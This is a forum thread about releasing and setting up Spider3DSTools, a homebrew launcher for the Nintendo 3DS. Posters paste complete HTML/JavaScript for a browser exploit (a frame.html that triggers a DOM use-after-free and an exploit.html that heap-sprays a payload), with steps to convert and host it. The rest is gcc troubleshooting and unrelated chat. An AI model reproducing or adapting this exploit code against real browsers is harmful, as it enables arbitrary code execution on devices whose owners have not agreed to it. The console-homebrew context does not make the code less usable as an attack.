Homebrew [Custom Launcher] Spider3DSTools released

DarkFlare69

Well-Known Member
Member
Joined
Dec 8, 2014
Messages
5,147
Trophies
2
Location
Chicago
XP
4,751
Country
United States
>Compile Browserify.
>Use Browserify to compile your loadcode binary as Javascript.
>Make a new .html document named frame.html.
>Paste this inside:
Code:
<html>
    <head>
        <script>
            var nb = 0;
            function handleBeforeLoad() {
                if (++nb == 1) {
                    p.addEventListener('DOMSubtreeModified', parent.dsm, false);
                } else if (nb == 2) {
                    p.removeChild(f);
                }
            }
 
            function documentLoaded() {
                f = window.frameElement;
                p = f.parentNode;
                var o = document.createElement("object");
                o.addEventListener('beforeload', handleBeforeLoad, false);
                document.body.appendChild(o);
            }
 
            window.onload = documentLoaded;
        </script>
    </head>
    <body>
        KEKEKEKEK...
    </body>
</html>
Create a new HTML file named "exploit.html" with the contents below
<html>
<head>
<style>
    body {
        color:white;
        background:black;
    }
 
 
</style>
<script>
    function magicfun(mem, size, v) {
        var a = new Array(size - 20);
        nv = v + unescape("%ucccc");
        for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
        var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));
 
        mem.push(t);
    }
 
    function dsm(evnt) {
        var mem = [];
 
        for (var j = 20; j < 430; j++) {
            magicfun(mem, j, unescape("YOUR PAYLOAD HERE"));
        }
    }
</script>
</head>
<body>
        <h1 align="center">LOADING ROP...</h1>
        <iframe width=0 height=0 src="frame.html"></iframe>
</body>
</html>
>Create another .html document named exploit.html.
>Paste this inside:
Code:
<html>
<head>
<style>
    body {
        color:white;
        background:black;
    }
 
 
</style>
<script>
    function magicfun(mem, size, v) {
        var a = new Array(size - 20);
        nv = v + unescape("%ucccc");
        for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
        var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));
 
        mem.push(t);
    }
 
    function dsm(evnt) {
        var mem = [];
 
        for (var j = 20; j < 430; j++) {
            magicfun(mem, j, unescape("YOUR PAYLOAD HERE"));
        }
    }
</script>
</head>
<body>
        <h1 align="center">LOADING ROP...</h1>
        <iframe width=0 height=0 src="frame.html"></iframe>
</body>
</html>
>Replace YOUR PAYLOAD HERE with your Browserift loadcode binary Javascript output.
>Host both.
>Profit.

Edit: I'm hopeful that Yifan posts some news, even slight, sometime soon. I am becoming terribly bored being on 8.x, and I can't update to 9.4 if I want to use the exploit he talked of. I have attempted to convert S3DST to 8.x, and have only got some of it to work. I'm tempted to disassemble my 2DS, see if the NAND set up is the same as the 3DS, hard-mod a NAND flasher into it, dump my current firmware, update, dump, play, then reflash 8.1 when he is done.

How the hell do you compile browserify.c? I run a command window, and it made the other stuff fine, but browserify is not specified in the Makefile.
 

Slushie3DS

Cold Beverage Lover
Member
Joined
Jan 9, 2015
Messages
707
Trophies
0
Age
29
XP
420
Country
United States
How the hell do you compile browserify.c? I run a command window, and it made the other stuff fine, but browserify is not specified in the Makefile.

Have you gcc installed? You compile it like any.

Compile browserify with:
Code:
gcc -o browserify browserify.c

Run browserify with:
Code:
browserify LoadCode.dat > js_output.txt

Said Javascript output will be inside of the .txt created by browserify.
 

DarkFlare69

Well-Known Member
Member
Joined
Dec 8, 2014
Messages
5,147
Trophies
2
Location
Chicago
XP
4,751
Country
United States
Have you gcc installed? You compile it like any.

Compile browserify with:
Code:
gcc -o browserify browserify.c

Run browserify with:
Code:
browserify LoadCode.dat > js_output.txt

Said Javascript output will be inside of the .txt created by browserify.

Yes, I have gcc installed. When I open a command window and type "make", it makes all the other files except browserify. And when I type what you put, "gcc -o browserify browserify.c" it says 'gcc' is not recognized as an internal command.
 

Slushie3DS

Cold Beverage Lover
Member
Joined
Jan 9, 2015
Messages
707
Trophies
0
Age
29
XP
420
Country
United States
Yes, I have gcc installed. When I open a command window and type "make", it makes all the other files except browserify. And when I type what you put, "gcc -o browserify browserify.c" it says 'gcc' is not recognized as an internal command.

Are you sure you have gcc installed? Your computer seems to think otherwise.
 

Slushie3DS

Cold Beverage Lover
Member
Joined
Jan 9, 2015
Messages
707
Trophies
0
Age
29
XP
420
Country
United States
Here you go, DarkFlare69.

Folder Before:


Terminal Before:


Terminal After:



Folder After:


I'm unsure why it is doing that to you. I have a few hunches, though.
>Restart your PC.
>Make sure to set PATH correctly.
>Make sure to have command line in designated folder.
>Attempt then.
 

DarkFlare69

Well-Known Member
Member
Joined
Dec 8, 2014
Messages
5,147
Trophies
2
Location
Chicago
XP
4,751
Country
United States
Here you go, DarkFlare69.

Folder Before:


Terminal Before:


Terminal After:



Folder After:


I'm unsure why it is doing that to you. I have a few hunches, though.
>Restart your PC.
>Make sure to set PATH correctly.
>Make sure to have command line in designated folder.
>Attempt then.

Looking at your screenshots, it should not be compiled beforehand. Lemme try again.
 

WulfyStylez

SALT/Bemani Princess
Member
Joined
Nov 3, 2013
Messages
1,149
Trophies
0
XP
2,877
Country
United States
>Compile Browserify.
>Use Browserify to compile your loadcode binary as Javascript.
>Make a new .html document named frame.html.
>Paste this inside:

Thanks for this! I've got regionthree running locally without launch.dat now. One thing though, you kinda messed up on your first code block. You've got the contents of the exploit html at the end.
 

Slushie3DS

Cold Beverage Lover
Member
Joined
Jan 9, 2015
Messages
707
Trophies
0
Age
29
XP
420
Country
United States
Thanks for this! I've got regionthree running locally without launch.dat now. One thing though, you kinda messed up on your first code block. You've got the contents of the exploit html at the end.

Oopsie daisies, you're right. It's been a long day, friends. This is the correct code for the frame.html:
Code:
<html>
    <head>
        <script>
            var nb = 0;
            function handleBeforeLoad() {
                if (++nb == 1) {
                    p.addEventListener('DOMSubtreeModified', parent.dsm, false);
                } else if (nb == 2) {
                    p.removeChild(f);
                }
            }
 
            function documentLoaded() {
                f = window.frameElement;
                p = f.parentNode;
                var o = document.createElement("object");
                o.addEventListener('beforeload', handleBeforeLoad, false);
                document.body.appendChild(o);
            }
 
            window.onload = documentLoaded;
        </script>
    </head>
    <body>
        KEKEKEKEK...
    </body>
</html>

Looking at your screenshots, it should not be compiled beforehand. Lemme try again.

Yes, what you are doing is COMPILING it, meaning you're turning the C document into some sort of executable. The gear icon I am hovering over in the last screenshot is the resulting executable. That executable is use with this code INSIDE of your spider3DStools folder:
Code:
browserify LoadCode.dat > js_output.txt
 

RandomUser

Rosalina in Plush Form
Member
Joined
May 9, 2010
Messages
967
Trophies
1
XP
1,042
Country
United States
Yes, I have gcc installed. When I open a command window and type "make", it makes all the other files except browserify. And when I type what you put, "gcc -o browserify browserify.c" it says 'gcc' is not recognized as an internal command.
Just install MinGW, and use the get software to get the gcc file, also you may have to specify to download an extra library, I forgot which one it is, but I think it was libgcc.dll. Running gcc will tell you if you are missing a library by stating which dll is missing.
 

DarkFlare69

Well-Known Member
Member
Joined
Dec 8, 2014
Messages
5,147
Trophies
2
Location
Chicago
XP
4,751
Country
United States
Just install MinGW, and use the get software to get the gcc file, also you may have to specify to download an extra library, I forgot which one it is, but I think it was libgcc.dll. Running gcc will tell you if you are missing a library by stating which dll is missing.

Okay, thanks. I'll try this.

And Slushie3DS its still not working.
 

Site & Scene News

Popular threads in this forum

General chit-chat
Help Users
  • Xdqwerty @ Xdqwerty:
    I download very few songs
  • BigOnYa @ BigOnYa:
    It takes me 3 hours every week to cut my grass, and I have to have music playing, not to mention the noise canceling earbuds, so I don't have to hear that lawnmower noise. I do play iHeart radio often also when get board of my music.
  • Xdqwerty @ Xdqwerty:
    Am I weird for only listening to game music?
  • BigOnYa @ BigOnYa:
    Nuh its whatever you like to hear. Is it weird, I'm a 50 year old that mostly listens to old school hip hop?
    +1
  • K3Nv2 @ K3Nv2:
    I should be walking but legs are still sore
  • Xdqwerty @ Xdqwerty:
    @BigOnYa, I think that listening to the same 15 songs on the music player in my dad's car all the time made me kind of hate "normal" music.
    +1
  • Xdqwerty @ Xdqwerty:
    @K3Nv2, them use your hands
  • K3Nv2 @ K3Nv2:
    Those are tired from last night
  • Xdqwerty @ Xdqwerty:
    @K3Nv2, stop touching yourself
  • K3Nv2 @ K3Nv2:
    I wasn't
  • Xdqwerty @ Xdqwerty:
    @K3Nv2, then stop doing whatever you were doing last night
  • K3Nv2 @ K3Nv2:
    Uremum
  • BigOnYa @ BigOnYa:
    -insert uremum joke here-
  • K3Nv2 @ K3Nv2:
    Too late
    +2
  • BigOnYa @ BigOnYa:
    I seen a bunny rabbit get swept up and taken by a hawk yesterday in my back yard, it left a bunch of rabbit hair in grass. Wild to see it fly off carrying a rabbit.
  • Xdqwerty @ Xdqwerty:
    @BigOnYa, was Luke that Bunny rabbit?
  • BigOnYa @ BigOnYa:
    Nuh it was a small rabbit without lipstick, or no UFO propaganda
    +1
  • K3Nv2 @ K3Nv2:
    Was Leo the hawk
  • BigOnYa @ BigOnYa:
    I didn't see any kissing and loving, so prob not
    +2
  • K3Nv2 @ K3Nv2:
    True hawks have more pride
    +1
  • AncientBoi @ AncientBoi:
    [awaits K3Nv2's remarks for me] :unsure:
  • K3Nv2 @ K3Nv2:
    @AncientBoi, would be a better lover to luke he knows how to get in personal space better
  • AncientBoi @ AncientBoi:
    [sips my ☕ ]
  • BigOnYa @ BigOnYa:
    The other night was watching tv in my screened in porch, and heard something walking on my porch roof, that maybe it was a raccoon, so I grabbed my rifle and went out to look, it was just a duck, lol
    BigOnYa @ BigOnYa: The other night was watching tv in my screened in porch, and heard something walking on my porch...